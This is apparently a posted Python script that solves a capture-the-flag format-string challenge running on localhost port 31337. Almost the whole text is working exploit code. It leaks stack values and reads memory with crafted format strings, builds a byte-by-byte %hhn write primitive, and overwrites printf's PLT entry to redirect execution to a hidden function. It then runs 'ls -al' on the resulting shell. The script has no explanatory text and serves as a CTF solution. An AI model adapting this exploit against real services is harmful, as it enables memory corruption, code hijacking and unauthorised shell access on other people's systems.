Created
October 29, 2014 14:50
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| import socket | |
| import struct | |
| HOST = 'localhost' | |
| PORT = 31337 | |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| s.connect((HOST, PORT)) | |
| # challenge 1 | |
| print('challenge1') | |
| print(s.recv(1024)) | |
| s.sendall(b'%71$08X\n') | |
| key = s.recv(0x1024) | |
| print(s.recv(1024)) | |
| print('key:', key) | |
| s.sendall(struct.pack('<I', int(key, 16))) | |
| # challenge 2 | |
| print('challenge2') | |
| print(s.recv(0x1024)) | |
| payload = b'\xf0\xa2\x04\x08:%8$s\n' | |
| s.sendall(payload) | |
| data = s.recv(0x1024) | |
| key = data.split(b':')[1][0:4] | |
| key += b'\x00' * (4-len(key)) | |
| print(s.recv(0x1024)) | |
| print('key:', hex(struct.unpack('<I', key)[0])); | |
| s.sendall(key) | |
| # challenge 3 | |
| print('challenge3') | |
| print(s.recv(0x1024)) | |
| s.sendall(b'\xec\xa2\x04\x08:%4$n\n') | |
| print(s.recv(0x1024)) | |
| print(s.recv(0x1024)) | |
| def write_int(addr, value, offset): | |
| outsize = 0 | |
| payload = b''; | |
| for i in range(4): | |
| payload += struct.pack('<I', addr+i) | |
| outsize = len(payload) | |
| pad = 256 - (outsize % 256) | |
| pad += (value) % 256-1 | |
| outsize += pad | |
| print('pad', pad) | |
| payload += '%{0}x'.format(pad).encode() | |
| payload += ':%{0}$hhn'.format(offset).encode() | |
| pad = 256 - (outsize % 256) | |
| pad += (value >> 8) % 256-2 | |
| outsize += pad | |
| payload += '%{0}x'.format(pad).encode() | |
| payload += ':%{0}$hhn'.format(offset+1).encode() | |
| pad = 256 - (outsize % 256) | |
| pad += (value >> 16) % 256-3 | |
| outsize += pad | |
| payload += '%{0}x'.format(pad).encode() | |
| payload += ':%{0}$hhn'.format(offset+2).encode() | |
| pad = 256 - (outsize % 256) | |
| pad += (value >> 24) % 256-4 | |
| outsize += pad | |
| payload += '%{0}x'.format(pad).encode() | |
| payload += ':%{0}$hhn'.format(offset+3).encode() | |
| payload += b'\n' | |
| s.sendall(payload) | |
| #ultimate challenge | |
| write_int(0x804a254, 0x8048b60, 4) # Rewrite printf's PLT entry with you_wish function address | |
| print(s.recv(0x1024)) | |
| s.sendall(b'ls -al\n') | |
| print(s.recv(0x1024)) |
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